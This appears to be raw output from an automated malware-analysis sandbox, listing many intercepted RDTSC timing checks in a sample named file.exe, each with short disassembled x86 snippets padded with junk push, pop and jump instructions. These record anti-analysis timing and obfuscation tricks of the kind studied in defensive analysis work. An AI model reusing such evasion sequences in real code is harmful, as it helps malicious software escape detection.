Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FB1AA second address: 3FB1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jmp 00007F15447FC6AAh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FB1BF second address: 3FB1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FB778 second address: 3FB77C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FBF45 second address: 3FBF6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F1544B5F466h 0x00000009 jmp 00007F1544B5F46Bh 0x0000000e jmp 00007F1544B5F46Eh 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FBF6D second address: 3FBF73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FC504 second address: 3FC50E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1544B5F466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400607 second address: 40060C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40060C second address: 40062B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F479h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40062B second address: 400644 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15447FC6A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F15447FC6A6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400644 second address: 400648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400648 second address: 40065E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F15447FC6A6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F15447FC6AEh 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400BC3 second address: 400BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1544B5F46Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400BD3 second address: 400BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400BD7 second address: 400BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400BDD second address: 400BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F15447FC6ABh 0x0000000e pop esi 0x0000000f jne 00007F15447FC6AEh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400BFC second address: 400C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnl 00007F1544B5F466h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400D97 second address: 400D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400EF9 second address: 400EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400EFD second address: 400F11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F15447FC6ABh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400F11 second address: 400F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 400F16 second address: 400F28 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F15447FC6ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4011BC second address: 4011DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F474h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007F1544B5F466h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35BB87 second address: 35BB8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405E2D second address: 405E31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405E31 second address: 405E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405E3A second address: 405E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1544B5F466h 0x0000000a jmp 00007F1544B5F478h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410A83 second address: 410A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410A87 second address: 410A97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F1544B5F468h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F092 second address: 40F0AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F15447FC6AFh 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F0AD second address: 40F0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F0B1 second address: 40F0BB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15447FC6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F0BB second address: 40F0C7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1544B5F46Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40FA65 second address: 40FA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40FA6C second address: 40FA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1544B5F466h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40FA78 second address: 40FAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F15447FC6AEh 0x0000000e push esi 0x0000000f jmp 00007F15447FC6AFh 0x00000014 jng 00007F15447FC6A6h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4101DC second address: 41021A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F1544B5F479h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a jno 00007F1544B5F468h 0x00000020 push eax 0x00000021 push edx 0x00000022 jnp 00007F1544B5F466h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41021A second address: 41021E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41021E second address: 410224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410901 second address: 410932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B3h 0x00000007 push esi 0x00000008 jno 00007F15447FC6A6h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 je 00007F15447FC6A6h 0x0000001b jl 00007F15447FC6A6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40E843 second address: 40E849 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 413008 second address: 41300C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41300C second address: 413010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3624E2 second address: 3624E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417AC0 second address: 417ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jng 00007F1544B5F466h 0x0000000e jne 00007F1544B5F466h 0x00000014 jc 00007F1544B5F466h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417ADC second address: 417AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 424F39 second address: 424F4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F46Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A96F second address: 42A97F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F15447FC6AEh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A97F second address: 42A983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AAEF second address: 42AAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AAF5 second address: 42AAFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AAFB second address: 42AB17 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F15447FC6B2h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AB17 second address: 42AB1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F924 second address: 42F93B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F93B second address: 42F940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43E668 second address: 43E67D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43EA80 second address: 43EAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F1544B5F46Ah 0x0000000b jc 00007F1544B5F466h 0x00000011 popad 0x00000012 pushad 0x00000013 jno 00007F1544B5F466h 0x00000019 jmp 00007F1544B5F46Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43EAAB second address: 43EAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43EAB0 second address: 43EAE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F474h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F1544B5F473h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43EAE0 second address: 43EAFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F15447FC6A6h 0x0000000a popad 0x0000000b jmp 00007F15447FC6B2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43EAFD second address: 43EB0F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1544B5F46Ch 0x00000008 jo 00007F1544B5F466h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43EDFB second address: 43EE19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B0h 0x00000007 je 00007F15447FC6A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43EE19 second address: 43EE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F96D second address: 43F97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15447FC6AAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 444B20 second address: 444B2A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1544B5F466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 444B2A second address: 444B42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15447FC6B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 444B42 second address: 444B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4446BA second address: 4446BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4446BF second address: 4446C4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4446C4 second address: 4446F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007F15447FC6B2h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e jmp 00007F15447FC6AFh 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 444859 second address: 444865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1544B5F466h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 444865 second address: 444889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 jmp 00007F15447FC6B8h 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 444889 second address: 4448A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F478h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4448A8 second address: 4448AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E425 second address: 44E446 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1544B5F468h 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F1544B5F468h 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1544B5F46Bh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E446 second address: 44E450 instructions: 0x00000000 rdtsc 0x00000002 je 00007F15447FC6B2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E450 second address: 44E45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1544B5F466h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455FA8 second address: 455FB6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15447FC6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455FB6 second address: 455FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455FBC second address: 455FE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6AEh 0x00000007 jnl 00007F15447FC6A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F15447FC6B0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 455FE6 second address: 455FEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4588EA second address: 4588F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4588F0 second address: 45891D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F470h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jc 00007F1544B5F466h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 pushad 0x0000001a ja 00007F1544B5F466h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45891D second address: 458923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4587B3 second address: 4587B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46806C second address: 468070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 468070 second address: 468076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 468076 second address: 4680A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F15447FC6BAh 0x0000000f push edx 0x00000010 jnp 00007F15447FC6A6h 0x00000016 pop edx 0x00000017 js 00007F15447FC6ACh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 467BC0 second address: 467BC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 467CFC second address: 467D13 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F15447FC6A6h 0x00000008 jmp 00007F15447FC6ADh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 467D13 second address: 467D18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FB84 second address: 47FB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FB88 second address: 47FBAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F474h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b js 00007F1544B5F466h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FBAA second address: 47FBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FD05 second address: 47FD0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800DF second address: 4800EB instructions: 0x00000000 rdtsc 0x00000002 js 00007F15447FC6A6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800EB second address: 480101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1544B5F472h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4803BF second address: 4803C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4803C3 second address: 4803C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4803C9 second address: 4803DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F15447FC6ADh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4807BC second address: 480802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007F1544B5F466h 0x00000014 jnp 00007F1544B5F466h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d jmp 00007F1544B5F46Bh 0x00000022 pushad 0x00000023 push esi 0x00000024 pop esi 0x00000025 jmp 00007F1544B5F479h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
